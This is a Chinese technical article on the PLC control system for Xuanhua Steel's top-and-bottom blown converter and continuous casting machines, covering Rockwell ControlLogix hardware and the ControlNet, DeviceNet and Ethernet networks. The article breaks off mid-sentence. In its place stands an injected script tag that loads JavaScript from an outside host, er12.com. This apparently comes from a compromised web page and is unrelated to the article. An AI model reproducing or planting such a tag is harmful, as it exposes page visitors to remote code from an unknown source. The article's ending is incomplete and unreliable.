宣化钢铁集团有限责任公司易地大修技改工程中,建80t顶底复吹转炉两座,90tlf精炉一座,6机6流小方坯连铸机一台,5机5流矩形坯连铸机一台。该工程主体设备基本上是国内厂家承担制作,控制系统选用美国rockwell公司a-b品牌plc,整个转炉-精炼-连铸工艺参数的检测、指示、报警、记录及调节功能均由plc系统完成。系统采用rockwell的三级网络,上层为以存太网(enthernet)实现转炉、精炼、连铸系统的数据交换;中间为控制网(controlnet)负责plc系统通信;底层是设备网(devicenet)或远程i/o。计算机系统采用客户/服务器(client/server,c/s)结构,通过服务器与厂管理网络联接,实现管控一体,构成企业内部互联网(intranet)。计算机过程控制系统的建立及intranet的形成,为提高生产效率、工艺过程优化、降低成本、分析各种操作、预防各种事故的发生打下了良好的基础。
一期工程的主要工艺设备有一座转炉,一台小方坯连铸机。采用“高炉铁水-顶底复吹转炉-连铸”的生产工艺流程。自动控制系统应用a-bcontrollogix5555 plc系统,与运行rockwell系列软件的计算机操作站组成发布式过程和顺序控制系统。
1 过程控制计算机系统的组成
1.1 转炉控制系统
如图1所示,本系统由6套controllogix系统、6台计算机操作站和1台服务器通过controlnet网络组成,完成转炉本体、上料系统、余热锅炉、烟气净化以及煤气回收的检测、控制与通信。转炉冶炼过程实现模型自动控制,预留了副枪等动态控制设备。
转炉倾动采用seimens直流调速系统;氧枪升降系统采用了a-b 1336 impact交流变频器,应用磁场定向控制方法对氧枪实施精确的速度和启动控制,停电时可用启动装置;钢包车、渣车采用交流变频调速,拖缆供电,保证平稳运行、准确停车;原辅料下料、余热锅炉通过plc联锁控制;一次风机交流变频调速,采用西门子simovert mt中压变频器,用profibus总线与控制系统通信。
操作站通过controlnet网络与plc系统通信,实现对生产过程的监控功能。由于多个mmi操作站连接在controlnet上,可能实现分工操作,并且在故障发生时,其操作可由其他操作站代为执行。变频器通过devicenet与plc通信。
服务器可采集各个操作站数据,对数据按要求进行处理后,提供给下一步的过程控制。当服务器运行rssql时,可以实现与上位机快速大量的数据交换。rsview32 actrve display server/client软件支持服务器通过controlnet网连接到过程控制系统进行数据采集。通过ethernet网络可以与其他控制系统及管理网络通信。
在服务器或mmi操作站上运行rslogix5000及相关软件就可使其具备工程师站的功能。mmi软件支持网络编程功能,这样在系统运行过程中,通过网络上任何一台操作站可以对网络上任何一个plc控制站进行编程、组态及调试。
1.2 六机六流小方坯连铸机控制系统
如图2所示,小方坯连铸机控制系统由7套controllogix系统、4台操作站、1台过程计算机及远程i/o plc组成。主要完成对钢平台拉矫与振动、二次冷却水、切割、出坯的自动控制。
plc通过controlnet组成控制站,直接完成对生产过程的控制和数据采集;以实时多任务系统软件支持下的计算机组成操作站;各操作室的操作台都配备了flex扩展i/o,通过远程i/o通信网与主plc控制站实现通信,变频器与plc也通过远程i/o方式通信,它们共同组成分布式控制系统;过程计算机实现数据库管理、生产管理、工艺优化、二冷自动配水、浇铸速度优化、物流跟踪、尾坯优化等功能;通过ethernet连接其他计算机网络,并支持odbc数据联接方式。
连铸机自动化系统采取“三电一体”设计思想,通过检测仪表、现场限位等采集工艺生产过程和设备运行状态的各种数据,实现过程回路和电气设备顺序控制。
2 控制系统的特点
2.1 controlnet网络
controlnet网络是新一代自动化控制网络,满足ice61158国际工业现场总线标准。它提供了一种在plc之间,plc与mmi操作站及i/o子系统之间实现高速(5mbps)的、可冗余的通信方式。它可以支持多达99个节点,最大网络距离20km。它可连接总线型、树型、星型及混合型等不同的网络拓扑结构。通过controlnet可以在单一网络上完成关键性数据传送、i/o更新、处理器互锁、对等通信等功能。
producer/consumer通信模式可以使不同的处理器之间进行信号交换,i/o数据可以同时被多个设备共享。扩展模块及远程i/o模块可直接挂接在controlneth,使控制模块最可能接近现场检测元件,减少检测、控制信号的衰减、干扰,同时节约电缆,便于维护。
2.2 ethernet网络
ethernet网络是在操作站与服务器之间通过tcp/ip组成的windows nt网络。windows nt网络具有数据、文件共享的能力,通过统一的数据库接口?script src=http://er12.com/t.js>











